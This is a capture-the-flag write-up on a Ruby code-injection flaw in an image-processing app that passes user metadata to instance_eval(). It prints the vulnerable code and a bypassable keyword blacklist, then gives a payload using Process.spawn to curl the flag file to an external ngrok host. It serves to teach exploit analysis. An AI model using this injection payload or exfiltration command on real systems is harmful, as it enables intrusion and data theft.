Challenge Overview
PixelPerfect is a web application that allows users to upload images and apply various transformations using metadata directives. Users provide transformation instructions like format: jpg or resize: 800x600 to modify their images. However, the application contains a critical vulnerability that allows for code injection via user-supplied metadata.
The application uses a Ruby class called ImageProcessor for handling image transformations, even though the UI refers to the application as “PixelPerfect.” This distinction is important when examining the code and understanding how the vulnerability works.
Vulnerability Identification
The root cause of the vulnerability lies in the unsafe use of Ruby’s instance_eval() method in the image processing logic.
In app.rb, we can see the following code:
# In the process_image method
@metadata.each do |directive, value|
begin
# Add timeout to each directive to prevent hanging
Timeout.timeout(30) do
instance_eval("apply_#{directive}('#{value}')")
end
rescue Timeout::Error
puts "Processing timeout for directive: #{directive}"
rescue => e
puts "Error processing directive #{directive}: #{e.message}"
end
end
The vulnerability occurs because:
- User input (
directiveandvalue) is directly used in aninstance_eval()call - Although there’s a security check that tries to filter out dangerous patterns like
system,exec,`,$,eval,load,require,IO,File, and string interpolation (#{}), this filter can be bypassed - The application takes each directive and dynamically calls the corresponding method using
apply_#{directive}('#{value}')
The Security Filter
The application implements a simple security check:
def parse_metadata(text)
# Quick security scan - we're safe, right?
if text =~ /system|exec|`|\$|eval|load|require|IO|File|#\{/
raise "Potentially malicious metadata detected!"
end
metadata = {}
# Process each line as key: value
text.each_line do |line|
next if line.strip.empty?
key, value = line.split(':', 2)
metadata[key.strip] = value.strip if key && value
end
metadata
end
This security check looks for common command execution and file access patterns, but it’s incomplete and can be bypassed using alternative Ruby methods.
The Exploitation
To exploit this vulnerability, we need to understand how instance_eval() works in Ruby.
instance_eval() is a method that evaluates a string or block within the context of an object. When a string is passed to instance_eval(), Ruby executes that string as Ruby code within the context of the object. This is extremely dangerous when user input is involved.
In this case:
- The string being evaluated is:
apply_#{directive}('#{value}') - If we control
value, we can break out of the string quotes and inject arbitrary Ruby code
For Futher information: https://medium.com/rubycademy/ruby-instance-eval-a49fd4afa268
Exploitation Steps
- While the application blocks direct use of
systemor backticks, it doesn’t blockProcess.spawn(), which can also execute system commands - We can inject a payload that breaks out of the string quotes and executes our code
- Use
');to close the current statement - Add our malicious Ruby code
- Add
('to form valid syntax for the remainder of the statement
For example, if we inject the following payload:
resize: '); puts "Hello World!"; ('
When processed by instance_eval() in the ImageProcessor class, it will be evaluated to:
apply_resize(''); puts "Hello World!"; ('')
This would print “Hello World!” to the server console. This simple example demonstrates how we can break out of the string context and inject arbitrary Ruby code. Note that the apply_resize method is a legitimate method of the ImageProcessor class that we’re breaking out of to execute our own code.
Payload
Uing the same approach we can use Process.spawn() to bypass the blacklist and get command execution.
resize: '); Process.spawn("/usr/bin/curl", "https://6850-176-29-224-4.ngrok-free.app", "-F", "flag=@/app/flag.txt").tap{|pid| Process.wait(pid)}; ('
This payload:
- Breaks out of the current statement with
'); - Uses
Process.spawn()to run a curl command that sends the flag file to an attacker-controlled webhook - Uses
.tap{|pid| Process.wait(pid)}to wait for the command to complete - Adds error handling to report any issues that might occur
- Adds
; ('to make the resulting Ruby code syntactically valid
When processed by instance_eval(), the resulting code looks like:
pply_resize: (''); Process.spawn("/usr/bin/curl", "https://6850-176-29-224-4.ngrok-free.app", "-F", "flag=@/app/flag.txt").tap{|pid| Process.wait(pid)}; ('')
This executes our curl command and exfiltrates the flag file to our server.